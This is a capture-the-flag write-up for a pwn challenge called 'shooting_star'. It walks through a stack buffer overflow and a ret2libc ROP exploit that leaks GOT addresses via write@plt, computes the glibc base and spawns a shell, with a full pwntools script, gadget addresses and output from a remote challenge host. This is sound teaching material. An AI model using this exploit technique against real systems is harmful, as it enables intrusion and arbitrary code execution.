Shooting star
10 minutes to read
We are given a 64-bit binary called shooting_star
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Reverse engineering
We can use Ghidra to analyze the binary and look at the decompiled source code in C:
void main() {
setup();
write(1, &message, 0x5b);
star();
return;
}
This function calls star
:
void star() {
char option[2];
undefined input_data[64];
read(0, option, 2);
if (option[0] == '1') {
write(1,">> ",3);
read(0, input_data, 512);
write(1, "\nMay your wish come true!\n", 0x1a);
} else if (option[0] == '2') {
write(1, "Isn\'t the sky amazing?!\n", 0x18);
} else if (option[0] == '3') {
write(1, "A star is an astronomical object consisting of a luminous spheroid of plasma held together by its own gravity. The nearest star to Earth is the Sun. Many other stars are visible to the naked eye from Earth during the night, appearing as a multitude of fixed luminous points in the sky due to their immense distance from Earth. Historically, the most prominent stars were grouped into constellations and asterisms, the brightest of which gained proper names. Astronomers have assembled star catalogues that identify the known stars and provide standardized stellar designations.\n", 0x242);
}
}
Buffer Overflow vulnerability
The binary is vulnerable to Buffer Overflow since there is a variable called input_data
that has 64 bytes assigned as buffer, but the program is reading up to 512 bytes from stdin
and storing the data into input_data
, overflowing the reserved buffer if the size of the input data is greater than 64 bytes.
We can check that it crashes in this situation (option 1
):
$ ./shooting_star
🌠 A shooting star!!
1. Make a wish!
2. Stare at the stars.
3. Learn about the stars.
> 1
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
May your wish come true!
zsh: segmentation fault (core dumped) ./shooting_star
Due to the fact that it is a 64-bit binary without canary protection, the offset needed to overflow the buffer and reach the stack is 72 (because after the reserved 64 bytes, the old value of $rbp
is saved, and right after, the saved return address).
Exploit strategy
Since the binary has NX protection, we must use Return Oriented Programming (ROP) to execute arbitrary code. This technique makes use of gadgets, which are sets of instructions that end in ret
(usually). We can add a list of addresses for gadgets on the stack so that when a gadget is executed, it returns to the stack and executes the next gadget. That is the meaning of ROP chain.
This is a bypass for NX protection since we are not executing instructions in the stack (shellcode), but we are redirecting the program to specific addresses that are executable and run the instructions we want.
In order to gain code execution, we will perform a ret2libc attack. This technique consists of calling system
inside Glibc using "/bin/sh"
as first parameter to the function (which is also inside Glibc). The problem we must handle is ASLR, which is a protection set for shared libraries that randomize a base address.
Since we want to call system
and take "/bin/sh"
, we need to know the addresses of those values inside Glibc at runtime (these addresses will change in every execution). Hence, we must find a way to leak an address inside Glibc because the only thing that is random is the base address of Glibc; the rest of the addresses are computed as offsets to that base address.
The process of leaking a function comes with calling write
using an address from the Global Offset Table (GOT) as second argument (for example, setvbuf
). This table contains the real addresses of the external functions used by the program (if they have been resolved). Since write
is used by the binary, to call it we can use the Procedure Linkage Table (PLT), which applies a jump instruction to the real address of write
.
One more thing to consider is the use of gadgets. Because of the calling conventions for 64-bit binaries, when calling a function, the arguments must be stored in registers (in order: $rdi
, $rsi
, $rdx
, $rcx
…). For example, the instruction pop rdi
will take the next value from the stack and store it in $rdi
.
Exploit development
Nice, let’s start with the leakage process. These are the values we need:
- Address of
pop rdi; ret
gadget (0x4012cb
) andpop rsi; pop r15; ret
gadget (0x4012c9
):
$ ROPgadget --binary shooting_star | grep -E 'pop r[ds][ix]'
0x00000000004012cb : pop rdi ; ret
0x00000000004012c9 : pop rsi ; pop r15 ; ret
- GOT addresses:
$ objdump -R shooting_star | grep JUMP
0000000000404018 R_X86_64_JUMP_SLOT write@GLIBC_2.2.5
0000000000404020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
0000000000404028 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
- Address of
write
at the PLT (0x404018
):
$ objdump -d shooting_star | grep write
0000000000401030 <write@plt>:
401030: ff 25 e2 2f 00 00 jmpq *0x2fe2(%rip) # 404018 <write@GLIBC_2.2.5>
401179: e8 b2 fe ff ff callq 401030 <write@plt>
4011a5: e8 86 fe ff ff callq 401030 <write@plt>
4011c5: e8 66 fe ff ff callq 401030 <write@plt>
4011e5: e8 46 fe ff ff callq 401030 <write@plt>
40124f: e8 dc fd ff ff callq 401030 <write@plt>
- Address of
main
(0x401230
):
$ objdump -d shooting_star | grep '<main>'
0000000000401230 <main>:
Leaking memory addresses
We can use this Python script:
#!/usr/bin/env python3
from pwn import *
context.binary = 'shooting_star'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
pop_rdi_ret = 0x4012cb
pop_rsi_pop_r15_ret = 0x4012c9
write_plt = 0x401030
main_addr = 0x401230
offset = 72
junk = b'A' * offset
def leak(p, function_got: int) -> int:
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(function_got)
payload += p64(0)
payload += p64(write_plt)
payload += p64(main_addr)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>> ', payload)
p.recvline()
p.recvline()
return u64(p.recv(8))
def main():
p = get_process()
write_got = 0x404018
read_got = 0x404020
setvbuf_got = 0x404028
write_addr = leak(p, write_got)
read_addr = leak(p, read_got)
setvbuf_addr = leak(p, setvbuf_got)
log.info(f'Leaked write() address: {hex(write_addr)}')
log.info(f'Leaked read() address: {hex(read_addr)}')
log.info(f'Leaked setvbuf() address: {hex(setvbuf_addr)}')
p.interactive()
if __name__ == '__main__':
main()
Notice that write
takes three arguments:
ssize_t write(int fd, const void *buf, size_t count);
We are able to set $rdi
and $rsi
using the above ROP gadgets, but we can’t control $rdx
. Fortunately, in star
there are some calls to write
, so $rdx
is already set to a value high enough to print out the memory leaks (actually 0x1a
). So, we are setting $rdi = 1
(the file descriptor for stdout
) and $rsi
is a GOT address. Moreover, we need to add a dummy value to $r15
.
$ python3 solve.py
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './shooting_star': pid 1095265
[*] Leaked write() address: 0x7fb89b741060
[*] Leaked read() address: 0x7fb89b740fc0
[*] Leaked setvbuf() address: 0x7fb89b6b7ce0
[*] Switching to interactive mode
\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x06\x9f\x8c\xa0 A shooting star!!
1. Make a wish!
2. Stare at the stars.
3. Learn about the stars.
> \x00$
We see that we return to main
and the leaks are there, in hexadecimal values. Notice that we needed to execute main
again because we have to enter another payload without stopping the program.
Now we need to compute the base address of Glibc, which can be done with a simple computation. We can substract the offset of setvbuf
to its real address so that we get the base address. Let’s take all the offsets needed (notice that we are solving the challenge locally):
$ ldd shooting_star
linux-vdso.so.1 (0x00007ffe2cd77000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1fdc075000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1fdc281000)
- Offset of
setvbuf
(0x84ce0
):
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep setvbuf
442: 0000000000084ce0 583 FUNC GLOBAL DEFAULT 15 _IO_setvbuf@@GLIBC_2.2.5
1988: 0000000000084ce0 583 FUNC WEAK DEFAULT 15 setvbuf@@GLIBC_2.2.5
- Offset of
system
(0x52290
):
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
237: 0000000000153ae0 103 FUNC GLOBAL DEFAULT 15 svcerr_systemerr@@GLIBC_2.2.5
619: 0000000000052290 45 FUNC GLOBAL DEFAULT 15 __libc_system@@GLIBC_PRIVATE
1430: 0000000000052290 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
- Offset of
"/bin/sh"
(0x1b45bd
):
$ strings -atx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
1b45bd /bin/sh
Getting RCE
Then, we can compute the real addresses of system
and "/bin/sh"
at runtime because we have the base address of Glibc at runtime. Let’s check it out:
setvbuf_offset = 0x84ce0
system_offset = 0x52290
bin_sh_offset = 0x1b45bd
glibc_base_addr = setvbuf_addr - setvbuf_offset
log.success(f'Glibc base address: {hex(glibc_base_addr)}')
$ python3 solve.py
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './shooting_star': pid 1098417
[*] Leaked write() address: 0x7f31bc319060
[*] Leaked read() address: 0x7f31bc318fc0
[*] Leaked setvbuf() address: 0x7f31bc28fce0
[+] Glibc base address: 0x7f31bc20b000
[*] Switching to interactive mode
\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x86🌠 A shooting star!!
1. Make a wish!
2. Stare at the stars.
3. Learn about the stars.
> \x00$
As a sanity check, we see that the base address of Glibc ends in 000
in hexadecimal, and that’s correct. Let’s finish the exploit:
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>> ', payload)
p.recv()
p.interactive()
$ python3 solve.py
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './shooting_star': pid 1102619
[*] Leaked write() address: 0x7f2d16ae8060
[*] Leaked read() address: 0x7f2d16ae7fc0
[*] Leaked setvbuf() address: 0x7f2d16a5ece0
[+] Glibc base address: 0x7f2d169da000
[*] Switching to interactive mode
$ ls
shooting_star solve.py
Nice, let’s run it in the remote instance:
$ python3 solve.py 159.65.63.151:30635
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 159.65.63.151 on port 30635: Done
[*] Leaked write() address: 0x7f984dd90210
[*] Leaked read() address: 0x7f984dd90140
[*] Leaked setvbuf() address: 0x7f984dd013d0
[+] Glibc base address: 0x7f984dc7c6f0
[*] Switching to interactive mode
/home/ctf/run_challenge.sh: line 2: 33 Segmentation fault ./shooting_star
[*] Got EOF while reading in interactive
$
We don’t get a shell because the remote instance has a different Glibc version. One way of getting it is searching for the last three hexadecimal digits of an address leak (for instance, write
, read
and setvbuf
) in a website like libc.rip. We find some matching Glibc versions and the offsets of useful functions:
Fortunately, the one that matches with the remote instance is the first one.
Flag
After changing the offset values in the exploit, we will finally get a shell:
$ python3 solve.py 159.65.63.151:30635
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 159.65.63.151 on port 30635: Done
[*] Leaked write() address: 0x7ffa01868210
[*] Leaked read() address: 0x7ffa01868140
[*] Leaked setvbuf() address: 0x7ffa017d93d0
[+] Glibc base address: 0x7ffa01758000
[*] Switching to interactive mode
$ ls
flag.txt
run_challenge.sh
shooting_star
$ cat flag.txt
HTB{1_w1sh_pwn_w4s_th1s_e4sy}
The full exploit script can be found in here: solve.py
. Additionally, this script uses some pwntools
magic to improve the exploitation experience and avoid hard-coded values: solve_pwntools.py
.
$ python3 solve_pwntools.py
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for 'shooting_star'
[+] Starting local process './shooting_star': pid 1120483
[*] Leaked write() address: 0x7f13064d5060
[*] Leaked read() address: 0x7f13064d4fc0
[*] Leaked setvbuf() address: 0x7f130644bce0
[+] Glibc base address: 0x7f13063c7000
[*] Switching to interactive mode
$ ls
libc6_2.27-3ubuntu1.4_amd64.so shooting_star solve_pwntools.py solve.py
$
[*] Interrupted
[*] Stopped process './shooting_star' (pid 1120483)
$ python3 solve_pwntools.py 159.65.63.151:30635
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for 'shooting_star'
[+] Opening connection to 159.65.63.151 on port 30635: Done
[*] Leaked write() address: 0x7f28f72b8210
[*] Leaked read() address: 0x7f28f72b8140
[*] Leaked setvbuf() address: 0x7f28f72293d0
[+] Glibc base address: 0x7f28f71a8000
[*] Switching to interactive mode
$ ls
flag.txt
run_challenge.sh
shooting_star
$ cat flag.txt
HTB{1_w1sh_pwn_w4s_th1s_e4sy}